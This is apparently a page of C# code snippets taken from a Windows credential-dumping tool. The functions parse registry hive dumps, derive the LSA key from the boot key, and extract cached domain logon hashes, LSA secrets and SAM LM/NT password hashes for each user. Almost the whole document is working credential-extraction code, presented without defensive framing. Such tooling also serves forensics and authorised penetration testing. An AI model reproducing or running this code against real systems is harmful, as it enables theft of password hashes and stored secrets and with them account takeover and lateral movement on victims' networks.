示例#1
0
        private void ParseChildNodes(BinaryReader hive)
        {
            int  count     = hive.ReadInt16();
            long topOfList = hive.BaseStream.Position;

            for (int i = 0; i < count; i++)
            {
                hive.BaseStream.Position = topOfList + (i * 8);
                int newoffset = hive.ReadInt32();
                hive.BaseStream.Position += 4;
                //byte[] check = hive.ReadBytes(4);
                hive.BaseStream.Position = 4096 + newoffset + 4;
                NodeKey nk = new NodeKey(hive)
                {
                    ParentNodeKey = this
                };
                this.ChildNodes.Add(nk);
            }

            hive.BaseStream.Position = topOfList + (count * 8);
        }
示例#2
0
        private static List <string> ParseLsa(RegistryHive security, byte[] bootKey, ref RemoteOps remoteConnection)
        {
            List <string> retVal = new List <string>();

            try
            {
                byte[]    fVal            = GetValueKey(security, @"Policy\PolEKList\Default").Data;
                LsaSecret record          = new LsaSecret(fVal);
                byte[]    dataVal         = record.data.Take(32).ToArray();
                byte[]    tempKey         = Crypto.ComputeSha256(bootKey, dataVal);
                byte[]    dataVal2        = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
                byte[]    decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray();

                //get NLKM Secret
                byte[]  nlkmKey = null;
                NodeKey nlkm    = GetNodeKey(security, @"Policy\Secrets\NL$KM");
                if (nlkm != null)
                {
                    retVal.Add("[*] Cached domain logon information(domain/username:hash)");
                    nlkmKey = DumpSecret(nlkm, decryptedLsaKey);
                    foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues)
                    {
                        if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray()))
                        {
                            NL_Record cachedUser = new NL_Record(cachedLogin.Data);
                            byte[]    plaintext  = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV);
                            byte[]    hashedPW   = plaintext.Take(16).ToArray();
                            string    username   = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray());
                            string    domain     = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray());
                            domain = domain.Replace("\0", "");
                            retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower()));
                        }
                    }
                }

                try
                {
                    retVal.Add("[*] LSA Secrets");
                    foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes)
                    {
                        if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0)
                        {
                            if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0)
                            {
                                LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey));
                                if (secretBlob.length > 0)
                                {
                                    retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection));
                                }
                            }
                            else
                            {
                                LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey);
                                if (secretBlob.length > 0)
                                {
                                    retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection));
                                }
                            }
                        }
                    }
                }
                catch
                {
                    retVal.Add("[X] No secrets to parse");
                }
            }
            catch (Exception e)
            {
                retVal.Add("[X] Error parsing SECURITY dump file: " + e.ToString());
            }
            return(retVal);
        }
示例#3
0
        private static List <string> ParseSam(byte[] bootKey, RegistryHive sam)
        {
            List <string> retVal = new List <string>
            {
                "[*] SAM hashes"
            };

            try
            {
                NodeKey nk            = GetNodeKey(sam, @"SAM\Domains\Account");
                byte[]  fVal          = nk.getChildValues("F");
                byte[]  hashedBootKey = GetHashedBootKey(bootKey, fVal);
                NodeKey targetNode    = nk.ChildNodes.Find(x => x.Name.Contains("Users"));
                byte[]  antpassword   = Encoding.ASCII.GetBytes("NTPASSWORD\0");
                byte[]  almpassword   = Encoding.ASCII.GetBytes("LMPASSWORD\0");
                foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000")))
                {
                    byte[] rid      = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber));
                    byte[] v        = user.getChildValues("V");
                    int    offset   = BitConverter.ToInt32(v, 12) + 204;
                    int    length   = BitConverter.ToInt32(v, 16);
                    string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray());

                    //there are 204 bytes of headers / flags prior to data in the encrypted key data structure
                    int    lmHashOffset = BitConverter.ToInt32(v, 156) + 204;
                    int    lmHashLength = BitConverter.ToInt32(v, 160);
                    int    ntHashOffset = BitConverter.ToInt32(v, 168) + 204;
                    int    ntHashLength = BitConverter.ToInt32(v, 172);
                    string lmHash       = "aad3b435b51404eeaad3b435b51404ee";
                    string ntHash       = "31d6cfe0d16ae931b73c59d7e0c089c0";

                    //old style hashes
                    if (v[ntHashOffset + 2].Equals(0x01))
                    {
                        IEnumerable <byte> lmKeyParts          = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword);
                        byte[]             lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray());
                        IEnumerable <byte> ntKeyParts          = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword);
                        byte[]             ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray());
                        byte[]             encryptedLmHash     = null;
                        byte[]             encryptedNtHash     = null;


                        if (ntHashLength == 20)
                        {
                            encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray();
                            byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash);
                            ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", "");
                        }
                        if (lmHashLength == 20)
                        {
                            encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray();
                            byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash);
                            lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", "");
                        }
                    }
                    //new-style hashes
                    else
                    {
                        byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray();
                        byte[] lmData      = enc_LM_Hash.Skip(24).ToArray();
                        //if a hash exists, otherwise we have to return the default string val
                        if (lmData.Length > 0)
                        {
                            byte[] lmHashSalt       = enc_LM_Hash.Skip(8).Take(16).ToArray();
                            byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray();
                            lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
                        }

                        byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray();
                        byte[] ntData      = enc_NT_Hash.Skip(24).ToArray();
                        //if a hash exists, otherwise we have to return the default string val
                        if (ntData.Length > 0)
                        {
                            byte[] ntHashSalt       = enc_NT_Hash.Skip(8).Take(16).ToArray();
                            byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray();
                            ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
                        }
                    }
                    string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString();
                    string hashes = (lmHash + ":" + ntHash);
                    retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower()));
                }
            }
            catch (Exception e)
            {
                retVal.Add("[X] Error parsing SAM dump file: " + e.ToString());
            }
            return(retVal);
        }